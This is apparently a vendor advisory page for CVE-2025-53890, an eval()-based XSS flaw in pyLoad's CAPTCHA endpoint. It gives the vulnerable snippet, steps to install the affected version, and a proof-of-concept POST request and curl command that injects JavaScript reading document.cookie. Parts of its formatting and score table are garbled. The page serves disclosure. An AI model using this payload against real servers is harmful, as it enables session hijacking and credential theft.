Get a Demo

Let's Patch It!

Book a short call with one our specialists, we'll walk you through how Endor Patches work, and ask you a few questions about your environment (like your primary programming languages and repository management). We'll also send you an email right after you fill out the form, feel free to reply with any questions you have in advance!

CVE

CVE-2025-53890

pyLoad vulnerable to XSS through insecure CAPTCHA
Back to all
CVE

CVE-2025-53890

pyLoad vulnerable to XSS through insecure CAPTCHA

Summary

An unsafe JavaScript evaluation vulnerability in pyLoad’s CAPTCHA processing code allows unauthenticated remote attackers to execute arbitrary code in the client browser and potentially the backend server. Exploitation requires no user interaction or authentication and can result in session hijacking, credential theft, and full system rce.

Details

The vulnerable code resides in 

function onCaptchaResult(result) {
    eval(result); // Direct execution of attacker-controlled input
}
  • The onCaptchaResult() function directly passes CAPTCHA results (sent from the user) into eval()
  • No sanitization or validation is performed on this input
  • A malicious CAPTCHA result can include JavaScript such as fetch() or child_process.exec() in environments using NodeJS
  • Attackers can fully hijack sessions and pivot to remote code execution on the server if the environment allows it

Reproduction Methods

  1. Official Source Installation:
git clone https://github.com/pyload/pyload
cd pyload
git checkout 0.4.20
python -m pip install -e .
pyload --userdir=/tmp/pyload
 ```
2. **Virtual Environment**:

python -m venv pyload-env

source pyload-env/bin/activate

 pip install pyload==0.4.20

pyload

## CAPTCHA Endpoint Verification

 **Technical Clarification**:  
1. The vulnerable endpoint is actually:
   \`\`\`
   /interactive/captcha
   \`\`\`
1. Complete PoC Request:

POST /interactive/captcha HTTP/1.1

Host: localhost:8000

Content-Type: application/x-www-form-urlencoded

 

cid=123&response=1%3Balert(document.cookie)

```

  1. Curl Command Correction:

 ```bash

curl -X POST "http://localhost:8000/interactive/captcha" \

  -d "cid=123&response=1%3Balert(document.cookie)"

```

  1. Vulnerable Code Location:  

   The eval() vulnerability is confirmed in:

   ```

   src/pyload/webui/app/static/js/captcha-interactive.user.js

   ```

Resources

  1. https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546
  2. OWASP: Avoid eval()
  3. #4586

Package Versions Affected

Package Version
patch Availability
No items found.

Automatically patch vulnerabilities without upgrading

Fix Without Upgrading
Detect compatible fix
Apply safe remediation
Fix with a single pull request

CVSS Version

Severity
Base Score
CVSS Version
Score Vector
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
0
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
C
H
U
9.8
-
3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Related Resources

No items found.

References

https://github.com/pyload/pyload/security/advisories/GHSA-8w3f-4r8f-pf53, https://nvd.nist.gov/vuln/detail/CVE-2025-53890, https://github.com/pyload/pyload/pull/4586, https://github.com/pyload/pyload/commit/909e5c97885237530d1264cfceb5555870eb9546, https://github.com/pyload/pyload, https://pypi.org/project/pyload-ng, https://github.com/advisories/GHSA-8w3f-4r8f-pf53

Severity

9.8

CVSS Score
0
10

Basic Information

Base CVSS
9.8
EPSS Probability
0.01144%
EPSS Percentile
0.6298%
Introduced Version
0,0.5.0a6.dev570
Fix Available
0.20,0.5.0b3.dev89

Fix Critical Vulnerabilities Instantly

Secure your app without upgrading.
Fix Without Upgrading